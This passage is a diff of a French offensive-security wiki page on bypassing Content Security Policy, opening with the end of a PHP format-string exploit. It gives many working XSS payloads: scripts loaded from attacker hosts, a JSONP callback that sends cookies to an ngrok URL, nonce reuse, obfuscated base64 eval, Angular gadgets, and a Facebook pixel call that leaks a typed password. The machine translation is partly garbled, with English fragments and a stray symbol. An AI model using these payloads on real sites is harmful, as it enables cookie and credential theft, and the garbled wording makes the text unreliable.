- Use positional parameters and width specifiers pour définir un nombre exact d'octets, puis `%n` pour écrire cette valeur à une adresse accessible sur la stack, en visant un slot GOT (par ex., `free`) pour le remplacer partiellement par `system`.
- Déclencher la fonction détournée en passant un nom de classe contenant un shell pipe pour atteindre `system("id")`.
Remarques :
- Fonctionne uniquement sur PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); corrigé dans les versions suivantes. Gravité : critique si l'instantiation arbitraire de classes existe.
- Les payloads typiques enchaînent de nombreux `%p` pour parcourir la stack, puis `%.<width>d%<pos>$n` pour réaliser l'écrasement partiel.
## Références
- [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,31 +1,31 @@
# Contournement de la Politique de Sécurité du Contenu (CSP)
# Content Security Policy (CSP) Bypass
{{#include ../../banners/hacktricks-training.md}}
## Qu'est-ce que CSP
La Politique de Sécurité du Contenu (CSP) est reconnue comme une technologie de navigateur, principalement destinée à **protéger contre des attaques telles que le cross-site scripting (XSS)**. Elle fonctionne en définissant et en détaillant les chemins et les sources à partir desquels les ressources peuvent être chargées en toute sécurité par le navigateur. Ces ressources englobent une gamme d'éléments tels que des images, des cadres et du JavaScript. Par exemple, une politique pourrait permettre le chargement et l'exécution de ressources depuis le même domaine (self), y compris les ressources en ligne et l'exécution de code sous forme de chaîne via des fonctions comme `eval`, `setTimeout` ou `setInterval`.
Content Security Policy (CSP) est reconnue comme une technologie de navigateur, principalement destinée à **protéger contre des attaques telles que cross-site scripting (XSS)**. Elle fonctionne en définissant et détaillant les chemins et sources depuis lesquels le navigateur peut charger des ressources en toute sécurité. Ces ressources englobent une variété d'éléments tels que les images, les frames et le JavaScript. Par exemple, une politique peut permettre le chargement et l'exécution de ressources depuis le même domaine (self), y compris des ressources inline et l'exécution de code sous forme de chaîne via des fonctions comme `eval`, `setTimeout`, ou `setInterval`.
La mise en œuvre de CSP se fait par le biais des **en-têtes de réponse** ou en incorporant des **éléments meta dans la page HTML**. En suivant cette politique, les navigateurs appliquent proactivement ces stipulations et bloquent immédiatement toute violation détectée.
La mise en œuvre de CSP se fait via **en-têtes de réponse** ou en incorporant des **éléments meta dans la page HTML**. Conformément à cette politique, les navigateurs appliquent de manière proactive ces stipulations et bloquent immédiatement toute violation détectée.
- Mis en œuvre via l'en-tête de réponse :
- Implémenté via un en-tête de réponse:
```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
- Implémenté via une balise meta :
- Implémenté via la balise meta:
```xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
### En-têtes
CSP peut être appliqué ou surveillé à l'aide de ces en-têtes :
CSP peut être appliqué ou surveillé via ces en-têtes :
- `Content-Security-Policy` : Applique le CSP ; le navigateur bloque toute violation.
- `Content-Security-Policy-Report-Only` : Utilisé pour la surveillance ; signale les violations sans les bloquer. Idéal pour les tests dans des environnements de pré-production.
- `Content-Security-Policy`: Applique la CSP ; le navigateur bloque toute violation.
- `Content-Security-Policy-Report-Only`: Utilisé pour la surveillance ; signale les violations sans les bloquer. Idéal pour les tests en environnement de pré-production.
### Définir les ressources
### Définition des ressources
CSP restreint les origines pour le chargement de contenu actif et passif, contrôlant des aspects comme l'exécution de JavaScript en ligne et l'utilisation de `eval()`. Un exemple de politique est :
CSP restreint les origines pour le chargement du contenu actif et passif, contrôlant des aspects tels que l'exécution de JavaScript inline et l'utilisation de `eval()`. Un exemple de politique est :
```bash
default-src 'none';
img-src 'self';
@ -39,42 +39,42 @@ object-src 'none';
```
### Directives
- **script-src**: Permet des sources spécifiques pour JavaScript, y compris les URL, les scripts en ligne et les scripts déclenchés par des gestionnaires d'événements ou des feuilles de style XSLT.
- **default-src**: Définit une politique par défaut pour le chargement des ressources lorsque des directives de récupération spécifiques sont absentes.
- **child-src**: Spécifie les ressources autorisées pour les travailleurs web et le contenu des cadres intégrés.
- **connect-src**: Restreint les URL qui peuvent être chargées en utilisant des interfaces comme fetch, WebSocket, XMLHttpRequest.
- **frame-src**: Restreint les URL pour les cadres.
- **frame-ancestors**: Spécifie quelles sources peuvent intégrer la page actuelle, applicable à des éléments comme `<frame>`, `<iframe>`, `<object>`, `<embed>`, et `<applet>`.
- **script-src**: Autorise des sources spécifiques pour JavaScript, y compris les URLs, les scripts inline et les scripts déclenchés par des gestionnaires d'événements ou des feuilles de style XSLT.
- **default-src**: Définit une politique par défaut pour la récupération de ressources lorsque des directives de récupération spécifiques sont absentes.
- **child-src**: Spécifie les ressources autorisées pour les web workers et le contenu des frames intégrées.
- **connect-src**: Restreint les URLs qui peuvent être chargées via des interfaces comme fetch, WebSocket, XMLHttpRequest.
- **frame-src**: Restreint les URLs pour les frames.
- **frame-ancestors**: Spécifie quelles sources peuvent intégrer la page courante, applicable aux éléments comme `<frame>`, `<iframe>`, `<object>`, `<embed>`, et `<applet>`.
- **img-src**: Définit les sources autorisées pour les images.
- **font-src**: Spécifie les sources valides pour les polices chargées en utilisant `@font-face`.
- **manifest-src**: Définit les sources autorisées des fichiers manifestes d'application.
- **media-src**: Définit les sources autorisées pour le chargement des objets multimédias.
- **font-src**: Spécifie les sources valides pour les polices chargées via `@font-face`.
- **manifest-src**: Définit les sources autorisées des fichiers manifest d'application.
- **media-src**: Définit les sources autorisées pour le chargement d'objets média.
- **object-src**: Définit les sources autorisées pour les éléments `<object>`, `<embed>`, et `<applet>`.
- **base-uri**: Spécifie les URL autorisées pour le chargement en utilisant des éléments `<base>`.
- **form-action**: Liste les points de terminaison valides pour les soumissions de formulaires.
- **base-uri**: Spécifie les URLs autorisées pour le chargement via les éléments `<base>`.
- **form-action**: Liste les endpoints valides pour les soumissions de formulaires.
- **plugin-types**: Restreint les types MIME qu'une page peut invoquer.
- **upgrade-insecure-requests**: Instruits les navigateurs à réécrire les URL HTTP en HTTPS.
- **upgrade-insecure-requests**: Indique aux navigateurs de réécrire les URLs HTTP en HTTPS.
- **sandbox**: Applique des restrictions similaires à l'attribut sandbox d'un `<iframe>`.
- **report-to**: Spécifie un groupe auquel un rapport sera envoyé si la politique est violée.
- **report-to**: Spécifie un groupe vers lequel un rapport sera envoyé si la politique est violée.
- **worker-src**: Spécifie les sources valides pour les scripts Worker, SharedWorker ou ServiceWorker.
- **prefetch-src**: Spécifie les sources valides pour les ressources qui seront récupérées ou pré-récupérées.
- **navigate-to**: Restreint les URL vers lesquelles un document peut naviguer par n'importe quel moyen (a, formulaire, window.location, window.open, etc.)
- **prefetch-src**: Spécifie les sources valides pour les ressources qui seront récupérées ou préchargées.
- **navigate-to**: Restreint les URLs vers lesquelles un document peut naviguer par tout moyen (a, form, window.location, window.open, etc.)
### Sources
- `*`: Permet toutes les URL sauf celles avec les schémas `data:`, `blob:`, `filesystem:`.
- `'self'`: Permet le chargement depuis le même domaine.
- `'data'`: Permet le chargement de ressources via le schéma de données (par exemple, des images encodées en Base64).
- `'none'`: Bloque le chargement depuis toute source.
- `'unsafe-eval'`: Permet l'utilisation de `eval()` et de méthodes similaires, non recommandé pour des raisons de sécurité.
- `'unsafe-hashes'`: Active des gestionnaires d'événements en ligne spécifiques.
- `'unsafe-inline'`: Permet l'utilisation de ressources en ligne comme `<script>` ou `<style>` en ligne, non recommandé pour des raisons de sécurité.
- `'nonce'`: Une liste blanche pour des scripts en ligne spécifiques utilisant un nonce cryptographique (nombre utilisé une fois).
- Si vous avez une exécution JS limitée, il est possible d'obtenir un nonce utilisé à l'intérieur de la page avec `doc.defaultView.top.document.querySelector("[nonce]")` et ensuite de le réutiliser pour charger un script malveillant (si strict-dynamic est utilisé, toute source autorisée peut charger de nouvelles sources donc cela n'est pas nécessaire), comme dans :
- `*`: Autorise toutes les URLs sauf celles avec les schémas `data:`, `blob:`, `filesystem:`.
- `'self'`: Autorise le chargement depuis le même domaine.
- `'data'`: Autorise le chargement de ressources via le schéma data (par ex., images encodées en Base64).
- `'none'`: Bloque le chargement depuis n'importe quelle source.
- `'unsafe-eval'`: Autorise l'utilisation de `eval()` et de méthodes similaires, déconseillé pour des raisons de sécurité.
- `'unsafe-hashes'`: Autorise certains gestionnaires d'événements inline spécifiques.
- `'unsafe-inline'`: Autorise l'utilisation de ressources inline comme les `<script>` ou `<style>` inline, déconseillé pour des raisons de sécurité.
- `'nonce'`: Une liste blanche pour des scripts inline spécifiques utilisant un nonce cryptographique (nombre utilisé une fois).
- If you have JS limited execution it's possible to get a used nonce inside the page with `doc.defaultView.top.document.querySelector("[nonce]")` and then reuse it to load a malicious script (if strict-dynamic is used, any allowed source can load new sources so this isn't needed), like in:
<details>
<summary>Charger le script en réutilisant le nonce</summary>
<summary>Charger un script en réutilisant le nonce</summary>
```html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img
@ -88,18 +88,18 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
```
</details>
- `'sha256-<hash>'`: Met en liste blanche les scripts avec un hachage sha256 spécifique.
- `'strict-dynamic'`: Permet de charger des scripts de n'importe quelle source s'ils ont été mis en liste blanche par un nonce ou un hachage.
- `'host'`: Spécifie un hôte spécifique, comme `example.com`.
- `https:`: Restreint les URL à celles qui utilisent HTTPS.
- `blob:`: Permet de charger des ressources à partir d'URL Blob (par exemple, des URL Blob créées via JavaScript).
- `filesystem:`: Permet de charger des ressources à partir du système de fichiers.
- `'report-sample'`: Inclut un échantillon du code violant dans le rapport de violation (utile pour le débogage).
- `'strict-origin'`: Semblable à 'self' mais garantit que le niveau de sécurité du protocole des sources correspond au document (seules les origines sécurisées peuvent charger des ressources à partir d'origines sécurisées).
- `'strict-origin-when-cross-origin'`: Envoie des URL complètes lors de la réalisation de requêtes de même origine mais envoie uniquement l'origine lorsque la requête est inter-origine.
- `'unsafe-allow-redirects'`: Permet de charger des ressources qui redirigeront immédiatement vers une autre ressource. Non recommandé car cela affaiblit la sécurité.
- `'sha256-<hash>'`: Autorise les scripts ayant un hash sha256 spécifique.
- `'strict-dynamic'`: Permet le chargement de scripts depuis n'importe quelle source si ceux-ci ont été autorisés via un nonce ou un hash.
- `'host'`: Spécifie un hôte particulier, comme `example.com`.
- `https:`: Restreint les URLs à celles utilisant HTTPS.
- `blob:`: Autorise le chargement de ressources depuis des Blob URLs (par exemple, des Blob URLs créées via JavaScript).
- `filesystem:`: Autorise le chargement de ressources depuis le système de fichiers.
- `'report-sample'`: Inclut un échantillon du code en violation dans le rapport de violation (utile pour le débogage).
- `'strict-origin'`: Similaire à 'self' mais garantit que le niveau de sécurité du protocole des sources correspond à celui du document (seules les origines sécurisées peuvent charger des ressources depuis des origines sécurisées).
- `'strict-origin-when-cross-origin'`: Envoie des full URLs pour les requêtes same-origin mais n'envoie que l'origine lorsqu'une requête est cross-origin.
- `'unsafe-allow-redirects'`: Autorise le chargement de ressources qui redirigent immédiatement vers une autre ressource. Non recommandé car cela affaiblit la sécurité.
## Règles CSP non sécurisées
## Règles CSP dangereuses
### 'unsafe-inline'
```yaml
@ -117,67 +117,67 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
### 'unsafe-eval'
> [!CAUTION]
> Cela ne fonctionne pas, pour plus d'infos [**vérifiez ceci**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
> Ceci ne fonctionne pas, pour plus d'informations [**check this**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
Charge utile fonctionnelle :
Payload fonctionnel :
```html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
```
### strict-dynamic
Si vous parvenez d'une manière ou d'une autre à faire en sorte qu'un **code JS autorisé crée une nouvelle balise script** dans le DOM avec votre code JS, parce qu'un script autorisé la crée, la **nouvelle balise script sera autorisée à être exécutée**.
Si vous pouvez d'une manière ou d'une autre faire qu'un **allowed JS code created a new script tag** soit inséré dans le DOM avec votre code JS, parce qu'un script autorisé le crée, le **new script tag will be allowed to be executed**.
### Wildcard (*)
### Wildcard (\*)
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
Charge utile fonctionnelle :
Payload fonctionnel :
```html
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
```
### Manque de object-src et default-src
### Absence de object-src et default-src
> [!CAUTION] > **Il semble que cela ne fonctionne plus**
```yaml
Content-Security-Policy: script-src 'self' ;
```
Charges utiles fonctionnelles :
Payloads fonctionnels:
```html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
```
### Téléchargement de fichiers + 'self'
### Téléversement de fichier + 'self'
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
Si vous pouvez télécharger un fichier JS, vous pouvez contourner cette CSP :
Si vous pouvez upload un fichier JS, vous pouvez bypass cette CSP :
Payload fonctionnel :
Working payload:
```html
"/>'><script src="/uploads/picture.png.js"></script>
```
Cependant, il est très probable que le serveur **valide le fichier téléchargé** et n'autorisera que le **téléchargement de types de fichiers déterminés**.
Cependant, il est fort probable que le serveur **valide le fichier uploadé** et n'autorisera que l'**upload de types de fichiers déterminés**.
De plus, même si vous pouviez télécharger un **code JS à l'intérieur** d'un fichier avec une extension acceptée par le serveur (comme : _script.png_), cela ne suffira pas car certains serveurs comme le serveur Apache **sélectionnent le type MIME du fichier en fonction de l'extension** et des navigateurs comme Chrome **refuseront d'exécuter du code Javascript** à l'intérieur de quelque chose qui devrait être une image. "Espérons-le", il y a des erreurs. Par exemple, lors d'un CTF, j'ai appris que **Apache ne connaît pas** l'extension _**.wave**_, donc il ne la sert pas avec un **type MIME comme audio/\***.
De plus, même si vous pouviez uploader un **JS code inside** dans un fichier en utilisant une extension acceptée par le serveur (comme : _script.png_), cela ne suffira pas car certains serveurs comme Apache **select MIME type of the file based on the extension** et des navigateurs comme Chrome **refuseront d'exécuter Javascript** contenu dans quelque chose qui devrait être une image. "Heureusement", il y a des erreurs. Par exemple, lors d'un CTF j'ai appris que **Apache ne connaît pas** l'extension _**.wave**_, donc il ne la sert pas avec un **MIME type like audio/***.
À partir de là, si vous trouvez un XSS et un téléchargement de fichier, et que vous parvenez à trouver une **extension mal interprétée**, vous pourriez essayer de télécharger un fichier avec cette extension et le contenu du script. Ou, si le serveur vérifie le format correct du fichier téléchargé, créez un polyglot ([quelques exemples de polyglots ici](https://github.com/Polydet/polyglot-database)).
À partir de là, si vous trouvez un XSS et un file upload, et que vous parvenez à trouver une **misinterpreted extension**, vous pouvez essayer d'uploader un fichier avec cette extension et le contenu du script. Ou, si le serveur vérifie le format correct du fichier uploadé, créez un polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
### Form-action
Si l'injection de JS n'est pas possible, vous pourriez toujours essayer d'exfiltrer par exemple des identifiants **en injectant une action de formulaire** (et peut-être en espérant que les gestionnaires de mots de passe remplissent automatiquement les mots de passe). Vous pouvez trouver un [**exemple dans ce rapport**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). De plus, notez que `default-src` ne couvre pas les actions de formulaire.
Si l'injection de JS n'est pas possible, vous pouvez quand même essayer d'exfiltrer par exemple des identifiants en **injecting a form action** (et peutêtre en comptant sur les gestionnaires de mots de passe pour autoremplir les mots de passe). Vous pouvez trouver un [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Aussi, notez que `default-src` ne couvre pas les form actions.
### Points de terminaison tiers + ('unsafe-eval')
### Third Party Endpoints + ('unsafe-eval')
> [!WARNING]
> Pour certains des payloads suivants, **`unsafe-eval` n'est même pas nécessaire**.
> Pour certains des payloads suivants **`unsafe-eval` n'est même pas nécessaire**.
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
Chargez une version vulnérable d'angular et exécutez du JS arbitraire :
Charger une version vulnérable d'angular et exécuter du JS arbitraire :
```xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
@ -198,10 +198,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Payloads utilisant Angular + une bibliothèque avec des fonctions qui retournent l'objet `window` ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
#### Payloads using Angular + a library with functions that return the `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
> [!TIP]
> Le post montre que vous pourriez **charger** toutes les **bibliothèques** depuis `cdn.cloudflare.com` (ou tout autre dépôt de bibliothèques JS autorisées), exécuter toutes les fonctions ajoutées de chaque bibliothèque, et vérifier **quelles fonctions de quelles bibliothèques retournent l'objet `window`**.
> L'article montre que vous pouvez **charger** toutes les **bibliothèques** depuis `cdn.cloudflare.com` (ou n'importe quel autre dépôt de bibliothèques JS autorisé), exécuter toutes les fonctions ajoutées de chaque bibliothèque, et vérifier **quelles fonctions de quelles bibliothèques renvoient l'objet `window`**.
```html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
@ -225,7 +225,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
{{[].erase.call().alert('xss')}}
</div>
```
Angular XSS à partir d'un nom de classe :
Angular XSS à partir d'un class name :
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
@ -233,7 +233,7 @@ Angular XSS à partir d'un nom de classe :
```
#### Abuser du code JS de google recaptcha
Selon [**ce compte rendu CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves), vous pouvez abuser de [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) à l'intérieur d'un CSP pour exécuter du code JS arbitraire en contournant le CSP :
Selon [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) vous pouvez abuser de [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) dans une CSP pour exécuter du code JS arbitraire en contournant la CSP :
```html
<div
ng-controller="CarouselController as c"
@ -244,7 +244,7 @@ ng-init="c.init()"
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
Plus de [**charges utiles de cet article**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
Plus de [**payloads from this writeup**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
@ -261,21 +261,21 @@ b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
```
#### Abuser de www.google.com pour un redirection ouverte
#### Abuser www.google.com pour open redirect
L'URL suivante redirige vers example.com (depuis [ici](https://www.landh.tech/blog/20240304-google-hack-50000/)):
L'URL suivante redirige vers example.com (from [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
```
https://www.google.com/amp/s/example.com/
```
Abus de \*.google.com/script.google.com
Exploitation de \*.google.com/script.google.com
Il est possible d'abuser de Google Apps Script pour recevoir des informations sur une page à l'intérieur de script.google.com. Comme c'est [fait dans ce rapport](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
Il est possible d'abuser de Google Apps Script pour recevoir des informations dans une page hébergée sur script.google.com. Comme cela a été [fait dans ce rapport](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
### Points de terminaison tiers + JSONP
### Endpoints tiers + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Des scénarios comme celui-ci où `script-src` est défini sur `self` et un domaine particulier qui est sur liste blanche peuvent être contournés en utilisant JSONP. Les points de terminaison JSONP permettent des méthodes de rappel non sécurisées qui permettent à un attaquant d'effectuer des XSS, charge utile fonctionnelle :
Des scénarios comme celui-ci où `script-src` est réglé sur `self` et un domaine particulier qui est en liste blanche peuvent être contournés en utilisant JSONP. Les endpoints JSONP permettent des méthodes de callback non sécurisées qui permettent à un attaquant d'effectuer du XSS, working payload:
```html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@ -289,15 +289,15 @@ https://www.youtube.com/oembed?callback=alert;
```html
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contient des points de terminaison JSONP prêts à l'emploi pour contourner le CSP de différents sites web.**
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contient des endpoints JSONP prêts à l'emploi permettant un CSP bypass sur différents sites web.**
La même vulnérabilité se produira si le **point de terminaison de confiance contient une redirection ouverte** car si le point de terminaison initial est de confiance, les redirections sont de confiance.
La même vulnérabilité se produira si le **trusted endpoint contient un Open Redirect**, car si l'endpoint initial est trusted, les redirects sont eux aussi considérés comme trusted.
### Abus de tiers
### Abus par des tiers
Comme décrit dans le [post suivant](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), il existe de nombreux domaines tiers, qui pourraient être autorisés quelque part dans le CSP, pouvant être abusés pour soit exfiltrer des données, soit exécuter du code JavaScript. Certains de ces tiers sont :
Comme décrit dans le [post suivant](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), il existe de nombreux domaines tiers qui peuvent être autorisés quelque part dans la CSP et qui peuvent être abusés pour exfiltrate data ou execute JavaScript code. Certains de ces tiers sont :
| Entité | Domaine autorisé | Capacités |
| Entité | Domaines autorisés | Capacités |
| ----------------- | -------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
@ -308,9 +308,9 @@ Comme décrit dans le [post suivant](https://sensepost.com/blog/2023/dress-code-
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
Si vous trouvez l'un des domaines autorisés dans le CSP de votre cible, il y a des chances que vous puissiez contourner le CSP en vous inscrivant sur le service tiers et, soit exfiltrer des données vers ce service, soit exécuter du code.
Si vous trouvez l'un des domaines autorisés dans la CSP de votre cible, il y a de fortes chances que vous puissiez bypass the CSP en vous inscrivant sur le service tiers et, soit exfiltrate data vers ce service, soit execute code.
Par exemple, si vous trouvez le CSP suivant :
Par exemple, si vous trouvez la CSP suivante :
```
Content-Security-Policy: default-src 'self www.facebook.com;
```
@ -318,80 +318,80 @@ ou
```
Content-Security-Policy: connect-src www.facebook.com;
```
Vous devriez être en mesure d'exfiltrer des données, de la même manière qu'il a toujours été fait avec [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Dans ce cas, vous suivez ces étapes générales :
Vous devriez pouvoir exfiltrer des données, comme cela a toujours été fait avec [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Dans ce cas, suivez ces étapes générales :
1. Créez un compte développeur Facebook ici.
2. Créez une nouvelle application "Facebook Login" et sélectionnez "Site Web".
3. Allez dans "Paramètres -> Général" et obtenez votre "ID d'application".
4. Sur le site cible dont vous souhaitez exfiltrer les données, vous pouvez exfiltrer des données en utilisant directement le gadget SDK Facebook "fbq" via un "customEvent" et la charge utile de données.
5. Allez dans "Gestionnaire d'événements" de votre application et sélectionnez l'application que vous avez créée (notez que le gestionnaire d'événements pourrait être trouvé dans une URL similaire à ceci : https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Sélectionnez l'onglet "Événements de test" pour voir les événements envoyés par "votre" site web.
1. Créez un compte Facebook Developer ici.
2. Créez une nouvelle application "Facebook Login" et sélectionnez "Website".
3. Allez dans "Settings -> Basic" et récupérez votre "App ID"
4. Sur le site cible depuis lequel vous voulez exfiltrer des données, vous pouvez exfiltrer des données en utilisant directement le gadget du Facebook SDK "fbq" via un "customEvent" et le data payload.
5. Allez dans l'Event Manager de votre App et sélectionnez l'application que vous avez créée (notez que l'event manager peut se trouver à une URL similaire à celle-ci: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
6. Sélectionnez l'onglet "Test Events" pour voir les événements envoyés par "votre" site web.
Ensuite, du côté de la victime, vous exécutez le code suivant pour initialiser le pixel de suivi Facebook afin de pointer vers l'ID d'application du compte développeur Facebook de l'attaquant et émettre un événement personnalisé comme ceci :
Ensuite, du côté de la victime, vous exécutez le code suivant pour initialiser le pixel de tracking Facebook afin de le pointer vers l'app-id du compte Facebook Developer de l'attaquant et émettre un custom event comme ceci:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
En ce qui concerne les sept autres domaines tiers spécifiés dans le tableau précédent, il existe de nombreuses autres façons de les abuser. Référez-vous au [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) précédent pour des explications supplémentaires sur d'autres abus de tiers.
En ce qui concerne les sept autres domaines tiers spécifiés dans le tableau précédent, il existe de nombreuses autres façons de les abuser. Reportez-vous au [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) précédemment cité pour des explications supplémentaires sur d'autres abus impliquant des tiers.
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
En plus de la redirection mentionnée pour contourner les restrictions de chemin, il existe une autre technique appelée Relative Path Overwrite (RPO) qui peut être utilisée sur certains serveurs.
En plus de la redirection mentionnée cidessus pour contourner les restrictions de chemin, il existe une autre technique appelée Relative Path Overwrite (RPO) qui peut être utilisée sur certains serveurs.
Par exemple, si CSP permet le chemin `https://example.com/scripts/react/`, il peut être contourné comme suit :
Par exemple, si CSP autorise le chemin `https://example.com/scripts/react/`, il est possible d'effectuer un bypass de la manière suivante:
```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```
Le navigateur chargera finalement `https://example.com/scripts/angular/angular.js`.
Le navigateur finira par charger `https://example.com/scripts/angular/angular.js`.
Cela fonctionne parce que pour le navigateur, vous chargez un fichier nommé `..%2fangular%2fangular.js` situé sous `https://example.com/scripts/react/`, ce qui est conforme au CSP.
Cela fonctionne parce que, pour le navigateur, vous chargez un fichier nommé `..%2fangular%2fangular.js` situé sous `https://example.com/scripts/react/`, ce qui est conforme à la CSP.
∑, ils le décoderont, demandant effectivement `https://example.com/scripts/react/../angular/angular.js`, ce qui est équivalent à `https://example.com/scripts/angular/angular.js`.
Le navigateur va le décoder, demandant effectivement `https://example.com/scripts/react/../angular/angular.js`, ce qui est équivalent à `https://example.com/scripts/angular/angular.js`.
En **exploiter cette incohérence dans l'interprétation des URL entre le navigateur et le serveur, les règles de chemin peuvent être contournées**.
En **exploiter cette incohérence d'interprétation des URL entre le navigateur et le serveur, les règles de chemin peuvent être contournées**.
La solution consiste à ne pas traiter `%2f` comme `/` côté serveur, garantissant une interprétation cohérente entre le navigateur et le serveur pour éviter ce problème.
La solution est de ne pas traiter `%2f` comme `/` côté serveur, en assurant une interprétation cohérente entre le navigateur et le serveur pour éviter ce problème.
Exemple en ligne :[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
